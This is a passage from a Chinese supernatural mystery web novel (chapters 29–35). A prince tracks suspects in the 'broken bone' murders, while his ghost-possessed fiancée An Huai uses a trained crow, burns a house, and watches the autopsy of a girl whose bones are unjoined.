手下来报:“万贤山庄正是在全修锦名下的宅子,我们找到了常年给万贤山庄送粮食菜蔬的掌柜,他的伙计见过万贤山庄里住的人。” 靳朝言来了精神:“是什么人?” “掌柜说,全修锦在他这里常年定的货,每隔几日送米粮油,菜蔬肉类等生活用品。东西送到,一般都是一个婆子出来签收。” “但是也有几次出来的不是婆子,是一个年轻女子。” “那女子虽然带着面纱,也能看出长得十分秀丽。” “伙计还说,那女子身段非常好,要么是个习武之人,要么,是个习舞之人。” 靳朝言冷冷的看着手下。 手下抹了一下脸上的冷汗。 “伙计的意思,这女子要么会功夫,要么是会跳舞。” “这怎么说?” 手下解释:“伙计说,有一次他去送货,是那女子出来签收的。每次他的货都是送到门口,从不让送进院子里。无论多重,都是她们自己扛进去的。” “那天的东西有些重,女子将东西拎进去的时候不小心在绊了一下,差一点摔倒。” “他都吓了一跳,正要去扶,但是那女子用一种非常奇特的姿势稳住了。他当时就觉得很惊讶,因为那个姿势一般人肯定做不出来,做出来是要扭着腰的。” “他觉得,只有会功夫的人,或者会跳舞的人身段才能那么软,才能做出那样的动作来。” 靳朝言沉思片刻。 “若是这么说,那女子不会功夫,只会跳舞。” “习武的人都是内外兼修的,力气比寻常人大,也比寻常人灵活,怎么会稍微重一点就拎不动?又怎么那么容易踩着什么摔跤?” “跳舞……”诸元猜测:“莫非这女子,是全修锦养在外面的舞姬?” 杨柳小蛮腰什么的,许多男人喜欢。 靳朝言看了诸元一眼。 面色低沉。 诸元突然也想到了什么,猛地变了脸色。 尸体。 那三具尸体。 每一具都是用绳子吊在高处的,手脚反折的样子,就好像是在跳舞。 朝阳已经升起。 但阳光下,诸元只觉得遍体生寒。 靳朝言吩咐:“让那个伙计好好回忆一下那女子和老妇长什么样子,叫人画下来。” “是。” 手下匆忙去了。 诸元有些担忧:“殿下,她们会不会已经跑了?” 靳朝言缓缓摇头。 “我觉得不会。” “为什么?” 全修锦已经死了,不管这女人是凶手,和凶手一伙的,还是跟全修锦一伙的,她现在都应该知道自己很危险。 凶手会被官府抓,和全修锦一伙的,凶手未必会放过她们。 远走高飞才是明智之举。 “因为财帛动人心。”靳朝言说:“那么多金银,要是你,不到万不得已,你能放下它们远走高飞吗?” 诸元被问住了。 真不行,他做不到。 远走高飞之后,是要花大量的钱的。 不知道她们为何没有把钱带走,但只要是个正常人,都不甘心。 从全修锦死,到靳朝言找到万贤山庄,这中间的时间很短。 对方未必就反应过来了。 也未必会想到,靳朝言能找到那个地方。 当利益巨大的时候,人总是想要冒险赌一赌的。 靳朝言往外走去:“但是现在,她要走了。” 因为万贤山庄已经被烧了。 也被官府盯上了,她知道那笔钱,她拿不走了。 第30章 折骨,发现行踪 靳朝言吩咐:“派人盯着京城和万贤山庄离开的所有道路,水道和陆路都要盯紧,一旦发现刻意人员,立刻抓捕。” 手下应声去了。 靳朝言今天十分忙。 不仅案子要处理,婚事也要处理。 虽然一切都有内务府操持,但毕竟是他成亲,时间又仓促,总也是有事情要安排的。 靳朝言忙得脚不沾地。 安槐就不一样了。 安槐就好像明天成亲的人不是她一样。 她一早起来先让柳嬷嬷去打探了一下清明院的情况,说是昨晚上候夫人一夜未睡,虽然今早没再说见鬼,但整个人憔悴得不行,上了厚厚的粉底也挡不住黑眼圈。 永安侯也好不到哪里去。 安明珠比他们俩好一点,但是昨晚上被九条惊吓了,差一点毁了容,哭哭啼啼了半夜,早上还在补觉未醒。 其实永安侯还有两个儿子,也就是安槐的大哥,二哥。 两人都有官职在身,如今都在外历练。 妹子嫁进王府做王妃这么大的事情,按理说就是爬也要爬回来。 可她这婚事为了冲喜办的太着急,而且永安侯夫妻也没当回事,所以送消息的人估计这会儿还在去的路上,他们俩是一个都回不来。 柳嬷嬷打探了一圈回来,站在桌边汇报情况。 安槐正在一边吃早饭,一边逗九条。 嫁衣已经送来试过了,聘礼也送来了,嫁妆也亲自选好了,都放在芳菲院里。 现在,真没什么事儿了。 只等明天成婚就行。 安槐想想明天就能名正言顺的从靳朝言身上吸取阴魂,十分高兴,有种恨不能立刻到明天的着急。 这急切看在旁人眼里,只觉得她脑子不好。 三皇子府那么大的火坑,还有跳的那么开心的。 也不知道她图啥? 是图靳朝言刀子快,还是图他活不长? 半下午,靳朝言得了消息,在城南码头,发现了疑似女子。 杂货铺子的伙计记性极好,虽然他不会画画,但是嘴皮子利落说的清楚。 王府的画师按照伙计的描述画出了人像,然后再给他一看。 伙计点头认可。 “八九不离十,就是这样。” 又描述了那婆子的长相。 有了画像就好办多了,靳朝言立刻叫人照着画了几份分下去。 长相如这两个的,盯上。 鬼鬼祟祟,遮着头脸的,也盯上。 宁可错杀,不可放过。 在听到南城码头发现可疑人员的时候,靳朝言就带人亲自过去了。 暂时不打草惊蛇,先盯着,看看她是否还有同伙。 万贤山庄里那么大的阵仗,那么多的钱,可不是一个药铺掌柜可以张罗出来的。 全修锦身后十有八九还有人。 安槐不知这些,她午睡起身,闲来无事。 打算为了即将到来的婚事,做点积极的事情。 好让自己和靳朝言的关系更加和睦稳固,免得节外生枝。 于是安槐去了厨房,亲自给靳朝言做了一叠糕点。 香喷喷的枣泥桂花糕。 出锅她自己先吃了两块,又给柳嬷嬷吃了一块,给小喜吃了一块,给九条吃了一块。 得到了一致好评。 然后将剩下来的装在食盒里,让人送去三皇子府。 即将成婚的未婚夫妻,互相送东西,这是很正常的事情。 过了一会儿,送礼的丫鬟回来了。 安槐问她:“三皇子可吃了,觉得味道如何?” 丫鬟说:“奴婢没见着三皇子,三皇子府的下人说,殿下不在府里,忙案子去了。您送去的吃食留下了,说等殿下回来转交殿下。” 不用说,他现在忙的案子,那自然就是全修锦的案子。 安槐先点了点头,然后皱起了眉头。 “柳嬷嬷。” “大小姐。” 安槐沉吟着:“你说,明天就是我和三皇子的大婚日子了。今天他还在忙案子,是不是不妥?” 柳嬷嬷也觉得不妥,但是她是怎么敢说靳朝言的不好呢? 那可是凶名在外的皇子。 而且,靳朝言又不是在外面花天酒地的胡来,是正经当差。 “大小姐。”柳嬷嬷斟酌一下,劝道:“您放宽心,奴婢瞧着殿下对这婚事的态度是认真的,如今还忙着,那也是没办法。这是陛下给的差事,不能不管,也是身不由己。” 安槐沉默。 柳嬷嬷又道:“三皇子刚从边境回京不久,正是站稳脚跟的关键时候。陛下给了差事,是看重他。殿下自然也要尽心尽力才行。” 皇命难为啊。 安槐一想,柳嬷嬷说的也对。 这案子已经死了三个人了。 死的还如此诡异,京城如今有不少风言风语,说的各有千秋,千奇百怪。 靳朝言接了这烫手的山芋,如果一直在查也就罢了。 若是因为私事放下,又接着再死了人,皇帝难免会不满。 先君臣,再父子。 就算能体谅,也难免心里有疙瘩。 “柳嬷嬷,你说得对。”安槐说:“我出去一趟,要是晚上我没回来,明天一早一定回来。” 柳嬷嬷和小喜大惊。 明天就要出嫁了,事情很多呢,眼见着天都快黑了,安槐竟然又要出去。 但是她们也不敢拦,也拦不住。 安槐回房换了一身衣服就走了。 谁是凶手谁是受害者,谁是人谁是鬼,她不在意。 但是,不管是谁都不能耽误她明天成亲。 她得帮靳朝言尽快把这案子结了,让他明天安心成亲。 安槐想着明天她和靳朝言洞房花烛的时候,很有可能一个线索靳朝言就跑了,脸都黑了。 到时候你说放还是不放? 不放吧,公私不分,靳朝言要闹。 放吧,到了嘴边的肉飞了,那该多郁闷? 安槐快步出了门,天空中,九条盘旋跟着。 她没有去找靳朝言,而是到了回春堂的后院。 就是全修锦被吊死的地方。 院子门口依然是一把铁锁。 她到的时候,天已经昏暗了。 看一眼四下无人,也懒得撬锁了,直接从围墙跃了过去。 院子里,和之前一模一样,没有任何变化。 房门关着。 但是里面有声音传了出来。 一个是男人的声音,正在呜呜呜的哭,十分痛苦。 另一个,是一个小女孩银铃般的笑声。 第31章 折骨,杀人又放火 安槐缓缓走近。 窗户纸是破的,从破口看进去,只见房子里有人。 一个胖胖的男人,正是已经死了的全修锦。 他正在跳舞。 是的,全修锦穿着一身舞娘的衣服,那衣服显然不合身,小了许多,紧紧地勒在身上,把他身上的肉勒得一条一条的,看着十分诡异。 但是他认认真真的在跳舞。 而且跳的还是十分有难度的舞。 只见他不时的将手脚掰成一个正常人不可能有的弧度。 关节处,渗出血来,血染红了衣服。 全修锦是一边哭一边跳的,脸上的表情十分痛苦。 但是他不敢停下来。 只要动作有一点懈怠,一根鞭子就抽在身上。 一抽,就是一道血痕。 抽他鞭子的,就是欣赏舞姿,并且笑的很开心的小女孩。 上一刻小女孩拍着手,一边蹦蹦跳跳,一边笑。 “死肥猪,你跳舞跳的真不错,你跳呀,继续跳呀……” 下一刻小女孩骤然变了脸色。 六月的天都没有她变得那么快。 她脸色猛的阴沉下来,抬手就抽了过去。 “死肥猪,你敢偷懒,信不信我打死你!” 全修锦一边跳,一边哭,一边抖,一边颤颤巍巍的求饶。 “我错了,姑奶奶,我真的知道错了,你饶了我吧……” 安槐又走近了一些。 她看了看小女孩,又看了看墙角的洞。 突然,小女孩猛地回过了头。 和安槐四目相对。 安槐笑了一下。 “逮着你了。” 安槐指了她一下。 小女孩惊了一下,一脸的恐惧,然后一句话也没有,猛地往一边窜去。 安槐也没有着急追进房间。 她看着小女孩两步就跑到了洞口,然后往洞里钻去。 那洞十分小,别说一个成年人,就算是她这样一个瘦小的六七岁的小姑娘,也是不可能钻出去的。 顶多只能钻出去一个脑袋。 小女孩也是先将脑袋钻了出去。 然后,神奇的事情发生了。 只见她肩膀一抖,一塌,顿时缩小了三分之一。 两只手像是收进身体里一样,就在安槐眼皮子底下,钻过了那个绝对钻不出去的洞。 她好像身上没有骨头一样。 而全修锦,已经消失了。 安槐走进了房间,只看见小女孩的一截裤腿,然后整个人都钻出去了。 你说她不是人吧,她又不能像全修锦那样突然消失。 你说她是人吧,这也不是人能做到的事情。 安槐吹了个口哨。 只听天空一声鸟叫。 然后是小女孩尖锐的叫声。 “什么东西,别啄我……走开……” 安槐慢悠悠的出门,出了院子,就看见小巷子里,九条盘旋着挡住了小女孩要跑的路。 九条可不是一般的鸟,它还有翅膀,寻常人一时半会儿既制服不了它,也摆脱不了它。 安槐走了过去。 只是还没等她走近,小女孩突然就软绵绵的倒下了。 九条落了地,就站在小女孩身边,倒是也没有啄她。 安槐走到小女孩身边看了看,皱起眉头。 小女孩死了。 不是刚刚才死的。 小女孩本来挺标志的脸上,出现了一块一块的尸斑。 一股腐烂的味道散了出来。 虽然她刚才还是活蹦乱跳的,但从尸体的情况看,已经死了至少有三四天的时间。 若是换个人看见眼前的场景,一定会吓的落荒而逃。 但安槐只是看了一眼,面无表情的站了起来。 九条扇着翅膀落在她肩上,斜着脑袋看她。 新主人好香。 身上有种大森林的味道。 安槐扛着九条进了全修锦的房间,拿出一张纸。 拿了一只毛笔,磨了一点墨,在纸上写了几个字。 然后将纸条卷起来,绑在九条的腿上。 安槐伸出手,掌上有几片槐树叶子。 然后她走到院子里,一扬手臂。 安槐说:“去吧。” 九条在空中盘旋一圈,展翅飞走了。 黑色的鸟融入黑夜里,瞬间消失无踪。 此时,靳朝言正在南城码头,被盯住的是两个老妇。 其中一个,正是伙计见过的,万贤山庄那个日常取货的婆子。 另一个虽然也是老态龙钟裹着头巾,但她有些避着人的样子,一看边有问题。 诸元说:“这婆子像是年轻女子化妆的,我刚才瞧见了她一截露出来的手腕,皮肤紧致细腻,皮肤不是老人的皮肤。” “盯着她们。”靳朝言说:“若她们没有逃离的举动,先不必打草惊蛇。” “是。” 正说着,突然飞来一只鸟。 在天空盘旋了几圈之后,落了下来。 就停在靳朝言对面的栏杆上。 靳朝言看着它,它看着靳朝言,甚至还歪了歪头。 九条:“……” 靳朝言:“……” 诸元说:“殿下,这鸟……好像有话对你说。” 诸元说完,自己都觉得奇怪。 刚才自己在说什么? 是人话吗? 不过靳朝言还没来得及说话,就看见鸟儿走了过来。 两人这才看见,鸟腿上绑着一张纸条。 “这鸟儿竟然真是来传信的。”诸元奇怪得很:“这是谁家的鸟儿,是传给殿下的吗?” 都是废话。 靳朝言又听不懂鸟语,无法回答诸元的问题。 但这鸟儿乖得很,蹦蹦跳跳走到了靳朝言面前。 诸元尝试着蹲下身去,伸出手来。 鸟儿也没有躲的意思。 诸元取下九条腿上的纸条,打开。 “殿下。”诸元的表情十分古怪:“这是安小姐的鸟,给您送信的。” 九条见信送到了,扑腾了一下翅膀,飞走了。 靳朝言接过纸条一看,上面写着:“回春堂失火,速来。” 落款是安槐。 回春堂竟然失火了? 但是比起回春堂失火,他更好奇的是,安槐的鸟儿是怎么目标明确的找到他的? 之前他也去了安槐的院子里,也没见她院子里养了鸟儿啊。 靳朝言略一沉吟,将码头盯梢的事情交给手下,带着诸元就走了。 此时,安槐正忙着在回春堂里放火。 她站在房间里,用火折子点了纸团,这里丢一个,那里丢一个。 救火是一件很难的事情,但手上没有易燃物的情况下,想让一个房间烧起来,也没有那么容易。 第32章 折骨,死在七日前 看着火烧彻底烧起来了,安槐这才跑了出去。 站在巷子里喊:“快来人啊,走水了,快来救火啊……” 走水可是了不得的大事,很快就有人冲了出来。 开始是街坊邻居,后来是官兵,拎水的拎水,扑打的扑打。 靳朝言到的时候,火已经灭的差不多了。 当然,房子也烧的差不多了。 好在扑救及时,倒是没有殃及周边的邻居。 “大家让开,三皇子殿下来了。” 众人一听,让开一条路。 靳朝言走了进去,果然看见安槐在人群里。 倒是没有看见送信的鸟。 靳朝言吩咐诸元:“去了解一下情况。” 这房子现在已经没有人住了,怎么会突然着火? 安槐走了过去。 “殿下,你来了。” 靳朝言心里怪怪的:“安小姐,这火是你发现的?” 安槐坦然的很:“不是,我路过的时候,火已经烧起来了。” “那是谁最先发现着火的?” 一问,大家都不确定。 着火的时候天已经黑了,大家又心急火燎的,谁也不敢说是谁先发现的。 最先出来救火的是住在隔壁的几户人家,他们说是听见有人喊走水了。 但当时都慌了神,全部注意力都被火个吸引了,哪里顾得上去看是谁喊的,只是依稀记得,是个女人的声音。 靳朝言有些怀疑的看了安槐一眼。 安槐淡定回看。 世上不是男人就是女人,这算什么嫌疑? 问了一圈,先将人都疏散开了。 靳朝言带着手下走进已经熄灭的火场。 火虽然来得快去的快,但房间里已经是一片狼藉。 门破了,靠近一点,就能感觉里面的灼热。 幸亏这院子里,隔壁院子里,几家都有井,取水方便,要不然的话,火也没有那么容易灭。 走进焦黑的房间检查。 诸元一边小心跨过地上的凌乱,一边说:“殿下,咱们这两日怎么总碰上火,是不是有点邪门?” 正常人一辈子也未必能碰上一次。 他们是一天两次,次次来势汹汹。 靳朝言没有回答。 他也说不上来,但是他看安槐,总觉得有什么不对。 已经搜查到里面的侍卫突然喊了一声:“殿下,死人了。” 几人快步走过去。 只见角落里,躺着一具孩童的尸体。 尸体面目全非,周身肌肤焦黑龟裂,皮肉蜷缩僵硬,四肢蜷曲如拳斗之状。 尸身比寻常的膨胀了一些,皮肉松脆,稍触即溃,底下渗出血水浊液。 容貌早已经无法辨认,只有焦骨残躯。 稍微靠近一点,腐气与焦臭交织,叫人闻之欲呕。 靳朝言吩咐叫祖文彬过来。 祖仵作这两天也挺忙的。 总觉得以前京城没那么多命案。 火场里的尸体,一般默认是被烧死的。 只是这宅子已经锁了门,围墙又高,这小女孩是怎么进来的也是个谜团。 安槐在房间里左看看,右看看,顺便竖起耳朵听一下。 祖文彬是京城最好的仵作。 靳朝言十分信任他。 这几天他有点恍惚。 至今还没想明白柳树上被吊死的韦升荣,伤口里的柳树嫩芽是什么原因。 又不敢跟靳朝言说可能是闹鬼,憋的晚上觉都睡不着。 这次,他依然带着工具,开始验尸。 一验,又开始怀疑人生。 “殿下,这孩子并非在这火场里烧死的。” 众人都有些意外。 “那她是何死因?” “她……”祖文彬有些担心这话说出来,会被靳朝言骂。 但是见大家都看着他,只能硬着头皮说:“她是在旁的火场被烧死的。从尸体看,已经死去至少有七八日的时间。” “你说她死了七八天了?”诸元忍不住:“祖先生,你没看错吧?” 祖文彬板着脸。 “我当了三十七年仵作,一具尸体死了多久,怎么会认错?这新鲜刚死的时候,和死了七八日的尸体,别说只是表皮烧焦,就算是烧的只剩下骨头,我也是能分辨出的。” 祖文彬是京城最好的仵作,这一点毋庸置疑。 祖文彬一边说,一边继续检查。 一边检查,脸上的表情更奇怪了。 靳朝言说:“有话直说。” 祖文彬也开始怀疑自己了。 他又在尸体身上捏了捏,从脖子捏到脚。 “尸体的骨头,有点奇怪。” “怎么奇怪?” 祖文彬有点迟疑。 “我们的骨头,都是连在一起的。骨头和骨头之间,有关节相连,人才能站立,做出动作来。但是我摸着这尸体的骨头,似乎没有关联,都是松散的。” 众人一时都不能理解这句话的意思。 祖文彬自己都觉得自己说的话有点荒谬。 但摸了两遍,他相信自己的判断。 祖文彬:“殿下,我想将尸体剖开,一看便知。” “准了。” 房间里阴暗,祖文彬让人将尸体小心搬到了院子里,点上了一圈火把。 尸体是在太过恐怖,就算靳朝言的手下见过世面,也吐了好几个了。 靳朝言也想吐,但是多少有些身份和性格的包袱,咬牙忍住了。 诸元就没忍住,看见尸体后就出去吐过一轮了。 倒是安槐挺淡定的。 靳朝言也不藏着掖着,有话就问。 “安小姐见这场面,倒是冷静自若。” “不算什么,见多就习惯了。”安槐淡定:“在我们乡下,病死的猪牛羊不少见,野地里死猫死狗也有。” “有时候放了捕兽夹,上了猎物一时没空去收,十天半个月后再去,都烂了大半,上面生了尸水蛆虫了,仔细看皮肉里一拱一拱的,还有东西往外爬,比这恶心多了。” 三百年的乱葬岗,安槐不但见过别人尸体腐烂的模样,还见过自己尸体腐烂的模样,这世上哪有什么东西会叫她动容。 不过安槐形容的太详细了,本来已经吐过一轮的几个侍卫,又去吐了第二轮。 祖文从工具箱里拿出工具,准备将尸体的皮肉切开。 突然天空一声鸟鸣。 一道阴影从天而降,往尸体上扑去。 诸元还没来得及出手,安槐已经眼明手快一把抓住了。 正是九条。 “不许吃。”安槐沉着脸。 一手抓着大鸟的翅膀,一手啪啪给了它两巴掌。 “滚。” 安槐一扬手,九条连滚带爬的飞走了。 第33章 折骨,码头混乱 诸元忍不住缩了缩脖子。 他突然想到昨日在府里,安槐对府里那匹脾气不好的马也是这样的。 一巴掌过去,马儿就听话了。 这只鸟,看着展翅都有半人高了,怎么也是个猛禽。 气势汹汹的来,灰头土脸的走。 也不飞远,就在上空盘旋。 一边盘旋,一边哭……不是,一边叫。 叫的像哭似的。 这安家大小姐的脾气,是真的不好啊。 诸元鬼使神差的看了一眼靳朝言。 靳朝言察觉到了,脸色骤变。 真想把诸元拖出去打一顿。 这个时候你看本王做什么? 难道觉得本王像那只傻鸟吗? 安槐难道敢以下犯上打本王? 你怎么敢想的? 荒谬!!! 诸元连忙忍着恶心去给祖文彬打下手去了。 看见那鸟儿,靳朝言倒是想起来了。 “安小姐,你这鸟儿,倒是听话。” “是挺听话的。”安槐抬头看了一眼,自己也满意:“他叫九条,能听懂一些简单的命令。” 这么通人性吗? 靳朝言此时也来了兴趣。 不管是听得懂鸟语的人,还是听的懂人话的鸟,都让人觉得好奇。 见靳朝言想见识见识,安槐也不藏私。 她抬手喊了一声。 “九条。” 九条叫了一声,落了下来。 手气翅膀,落在安槐的手臂上。 这鸟儿……挺重吧。 看安槐手臂纹丝不动的样子,众人不由的想,这大小姐力气挺大的。 九条纯黑无杂色,威风凛凛。 站在安槐手臂上左顾右盼。 一点儿也不记仇。 靳朝言尝试叫了一声。 但九条不理他。 安槐解释说:“殿下莫怪,九条只认一个主,不过以后咱们成亲了,你们见多了,它也就认识你了。” 靳朝言点了点头。 理解。 谁训的自然认谁,他还没有因为自己身份就那么不讲道理。 他只是好奇。 “刚才你让九条来给我送信,可它之前并未见过我,是如何找到,又认得的?” 安槐微微一笑:“我今日见过殿下,尚未换衣。袖子上有殿下的味道,它是循着味道去的。” 这理由,有点正常,又有点敷衍。 靳朝言和安槐在一旁说话,祖文彬已经用刀划开了尸体的胳膊。 周围的人又是胃中一阵翻涌,不过已经吐不出什么了。 “殿下,殿下。”祖文彬激动说:“果真如此,果然如此,这具尸体的骨头,竟然都是散的。” 正常的一具尸体,若是剔除皮肉,根根相连。 但这具尸体的骨头,就好像是一根竹签穿在了糖葫芦里。 竹签是竹签,山楂是山楂,糖壳是糖壳,各不相干。 安槐心里有数了。 难怪刚才她能钻过那么小的一个洞。 真是只要头能过,身体就能过。 祖文彬继续解剖。 又划开了胸腔和腹腔。 这具尸体,叫人震惊。 “怎会如此?” 祖文彬惊呆了,大家都惊呆了。 诸元忍不住问:“这……这人骨头如此,那她活着的时候,能站起来吗?” 祖文彬喃喃:“这不是能不能站起来的问题,这怎么可能……这如何能活?” 安槐冷冷看着。 当然不能活。 只可惜,尸体已经烧的面目全非,也不知道这孩子长什么样子。 安槐倒是知道,但是她也不好说。 只能当什么都不知道。 靳朝言让手下去查,这一周内有没有走失的年龄相仿的女孩。 众人正在院子里商议,只见不远处一抹蓝色火焰升空。 诸元突然兴奋起来。 “殿下,抓到人了!” 城郊码头,靳朝言的人正盯着。 敌不动,我不动。 敌若是动了,就立刻上前抓捕。 靳朝言一见,丢下一句:“去码头。” 匆匆就出了门。 好在他们是骑马过来的,马就拴在门口。 安槐也跟了过去。 “我也去。” 然后她毫不犹豫的上了一匹马。 靳朝言带了五六个人过来,不会全带走,留了三个下来处理这边宅子的事情,正好门口的马就多了出来。 安槐上了最近的一匹。 这马懂事,没挨打。 靳朝言本来觉得码头现在可能混乱,让安槐不要跟着。但又一想,对方只是两名妇孺,自己人多。 要是动手,不至于有什么危险。 就怕对方有什么妖邪之术,那可能还真用的上安槐。 靳朝言从来不会吝啬任何一个可用之人。 当下便没有阻止。 快马加鞭到了码头。 码头的混乱已经结束,靳朝言的人封锁了地面和一段航道,正在一个人一个人的检查,一条船一条船的检查。 地面上的人好办,检查一个走一个。 乔装打扮毕竟是粗糙的东西,只要摘下帽子头巾仔细看,就肯定能看出破绽。 水上要麻烦一些。 码头的船有大有小,船上有不少可以藏人的地方。 还有水里,要是水性好的,潜水也能游出一里路。 火把几乎将整个河面照亮,有人张弓搭箭的盯着水面,只要有人露头,不用禀告,立刻射杀。 宁可到手的是一具尸体,也绝不能让她们跑了。 安槐叫下九条,拎着它的翅膀走到岸边,把它丢了出去。 九条就在河面上空盘旋。 只要有东西露头,就打算冲刺。 它在夜里的视力和抓捕能力,可比靳朝言手下的弓箭手强多了。 就这样布下了天罗地网。 靳朝言叫了人过来询问。 “之前不是已经发现那两人行踪了吗?怎么跟丢了?” “殿下,属下一直紧盯着那两名妇人,她们开始一直在岸边坐着,好像是在等人。但是等来等去也没等到,便没了耐心,走到岸边想要上船。” “你们就动手了?” “是,殿下交代,如有逃跑举动,立刻动手。属下立刻带人上船抓捕,可是这两个人就像是消失了一般,明明看着上了船,却失了去向。” 手下也郁闷啊。 眼皮子底下的人,丢了。 然后他立刻封锁了码头,给靳朝言发去了信号。 这两人上的船,是停靠在码头的一艘二层游船。 侍卫已经带人将游船搜了两遍,船上所有的人都被带了下来,在岸边站成一排。 可一艘那么大的船,真要是有心动手脚,能藏人的地方太多了。 第34章 折骨,缺德的主意 水性好的人,可以在水里换气,现在天又不冷,可以躲很长时间。 还可以顺着河流从水下潜走。 靳朝言的人想到了这一点,因此上游下游都加派了人手在两岸守着。 除非对方能一口气在河里潜出几公里,要不然的话,就不可能躲得开。 众人看了一圈。 手下说:“殿下,属下觉得,人很可能还躲在水中。属下有个主意,能将人逼出来。” “你说说。” “在水里洒毒粉。” 这话一出,众人都像看傻子一样看着他。 你要不要听听你在说什么。 这条河蜿蜒而上,延绵之下,两岸有多少住家,有多少人会用这条河里的水洗衣做饭,你下毒? 下完以后呢?整个三皇子府以死谢罪吗? 那人被看得头皮发麻,支支吾吾解释:“属下,属下的意思,不要洒致命的毒,可以撒点软骨散之类……” 他还找补:“只要人抓到了,就立刻洒解药……” 靳朝言不想理他。 不过倒是叫过诸元,耳语了几句。 诸元立刻去了。 没一会儿他带人拎着几个大桶过来了,一边走,几个人一边打喷嚏。 还没走到面前,一阵辛辣的味道飘了过来。 安槐捂住了鼻子。 靳朝言微微一笑。 往河里洒毒药,这是不行的。 这种行为叫投毒,哪怕是他,要是干了这种事情,都要被吊起来打的。 但是可以撒点辣椒粉。 没有人可以在辣椒水中呼吸。 水是流动的,辣椒粉进了水里,就会被稀释,很快会稀释得无伤大雅。 安槐察觉到靳朝言要做的事情,也是服气了。 她往后退了几步,又退了几步。 她还真不怕中毒,但是并不想在夜风里被辣椒粉呛得眼泪鼻涕一大把,然后明天成亲的时候,眼睛红得像是哭了一整夜。 退了几步后,安槐还是觉得不安全。 “殿下,太晚了,我想先回去了。”安槐说:“明天就是我们的婚事,我还有很多事情要准备。” 靳朝言打了个喷嚏。 “安小姐回吧。诸元,派人送安小姐。” “不用,不用。” 安槐捂着鼻子嘴,赶紧走了。 临走的时候,还吹了声口哨招呼上了九条。 九条对味道比人对味道还要敏感,再不走一会儿要成辣子九条丁了。 看着一直冷静的一人一鸟几乎落荒而逃,靳朝言有点想笑。 他不用忍,想笑就笑。 但是一笑,又吸了一口辛辣的空气,咳了好半天。 一群手下也断断续续地咳了起来。 这馊主意谁出的,真是伤敌一万,自损八千啊。 然后一想,哦,自家主子出的。 不敢瞪,于是大家只能瞪开始出主意要下毒的侍卫。 一人一眼刀,几乎把他刀成筛子。 安槐回永安侯府本应该往下风口走,但是她宁可南辕北辙绕远路,往上风口走去。 沿着河边走出了一段路,看见河边有人在钓鱼。 安槐走了过去。 是个老人。 安槐开口:“老丈。” 老头儿回头看了她一眼,有点不高兴。 本来就没钓着鱼,被她这么一喊,更钓不着了。 安槐掏出一块碎银子:“老丈,你这钓鱼竿,能不能卖给我。” 老丈一听,立刻同意。 他的钓鱼竿自己做的,一根绳子上栓了绳子和鱼钩,不值几个铜板。 钱货两清。 老丈正起身要走,安槐想了想:“老丈,你等下。” 老丈一脸疑惑,生怕她反悔。 只见安槐吹了声口哨。 天空一只大鸟冲了下来。 老丈还没来得及吃惊,大鸟已经像箭一样扎进了河里。 再上来的时候,九条爪子上抓了一条大鱼。 那鱼足有半只手臂上,拼命甩着尾巴。 但是毫无用处,九条稳若磐石。 老丈呆若木鸡的看着。 九条落了下来,将鱼丢在地上。 安槐说:“我看老丈今晚还没收获,这条鱼送你,总不能空手回去。” 老丈的脸稍微红了一红。 他当然不能跟安槐说,空手多正常啊。 老丈说:“姑娘,你这鸟儿真厉害,这么大的鱼,和我平时钓上来的差不多。” 幸亏夜色已深,看不见老丈红了的脸。 安槐笑了笑。 老丈捡起了鱼,谢了又谢地走了。 美滋滋的,嘴角都恨不得要裂到耳朵根。 安槐捡起钓鱼竿,坐到了岸边。 老丈是有备而来,不但有钓鱼竿,还有鱼饵,地上有几条被挖出来的蚯蚓。 安槐不往鱼钩上挂蚯蚓,就这么甩进了水里。 靳朝言的手下正一边咳嗽,一边往河里洒辣椒粉。 别说,真有效。 还没撒完呢,只见水面一动。 诸元后道:“有人。” 时刻准备着的侍卫纷纷冲了过去。 一时间,一片咳嗽声。 诸元从河里拽出来两个人。 正是准备逃跑但是没跑掉的,万贤山庄的两个嫌疑人。 婆子大概是在水里闷的时间太长,年纪也大了,被拽上来就不太醒了。 年轻女子倒是还好,就是被辣得呛得不行。 根本没有时间做出别的表情,喊冤或者求饶什么都没空。 就是拼命的咳嗽。 咳的都要背过气去。 靳朝言捂着鼻子一挥手。 “带走审。” 这地方真是一会儿也不想多呆了。 他们也选择了和安槐一样的路线。 明明有近路,但是不要近路。往上风口反方向走去,准备再绕一个大圈回三皇子府。 多走一段路,总比在路上就被呛死好。 幸亏现在夜已深,最近接连出命案,官府也发了告示,让大家晚上尽量不要出门,要不然现在就热闹了。 他明天可能要被弹劾。 这么一走,靳朝言就走到了安槐正在钓鱼的地方。 诸元走在靳朝言侧面,看着湖边的人影觉得眼熟。 “殿下。”诸元压低声音:“您看河边和人,是不是安小姐?” 靳朝言一看。 虽然黑乎乎只看个背影,但还真是。 而且身边还站着一只鸟。 那不是安槐是谁。 “这么晚了,安小姐竟然不回府?”诸元不可思议:“她在……钓鱼?” 这是什么奇怪的爱好? 他很快做了决定。 “你先带人回去审,本王过去看看。” 第35章 折骨,杀了都杀了 靳朝言让其他人先走,他自己朝安槐走了过去。 刚才,杭玉堂回来了。 杭玉堂带回了从安槐长大的庄子上带回的消息。 庄子上所有的人都说,安槐是个性子软弱柔和的女子,而且,身体不好。 身体一直不好,近期越发严重了。 没见过她爬树爬墙,也没见过她养鸟。 更没见过她看风水,庄子里也没来过什么算命的大师。 这些话让靳朝言心里的疑惑更重。 杭玉堂还带去了一张安槐的画像,庄子里的人看了之后倒是说,人没错。 安槐就长这个样子。 脸,不是假的脸。 但脾气性格完全不一样。 这是什么原因? 靳朝言再不信鬼神,心里也难免动了一个念头。 鬼上身? 没有其他解释了。 靳朝言不信自己这个满身煞气的人,也有鬼敢近身。 安槐确实在钓鱼,但她吊的不是一般的鱼。 她想钓一条死鬼鱼。 那日韦升荣被吊死在河边的柳树上,他的鬼魂很可能就在河里。 但是还没钓上来呢,就感觉到背后有人。 一回头,是靳朝言。 他怎么来了? 安槐只觉得麻烦。 她总不能当着靳朝言的面掐着空气,然后扇了空气十个巴掌。 “殿下。”安槐起身:“你怎么来了?” 靳朝言言简意赅:“路过。” “……”安槐关心:“人抓住了?” “抓住了,已经让诸元带回去审了。”靳朝言说:“正好看见你,你这是在……钓鱼?” “对。” 安槐提起鱼竿看了看。 上面自然是空无一物的。 她刚才连鱼饵都没挂。 现在挂也是一样的。 安槐捏了条蚯蚓挂在鱼竿上,重新甩进水中。 靳朝言虽然觉得这事情有点诡异,但一时也找不出什么破绽。 “这么晚了,你怎么不回府?反倒是在这里钓鱼?” 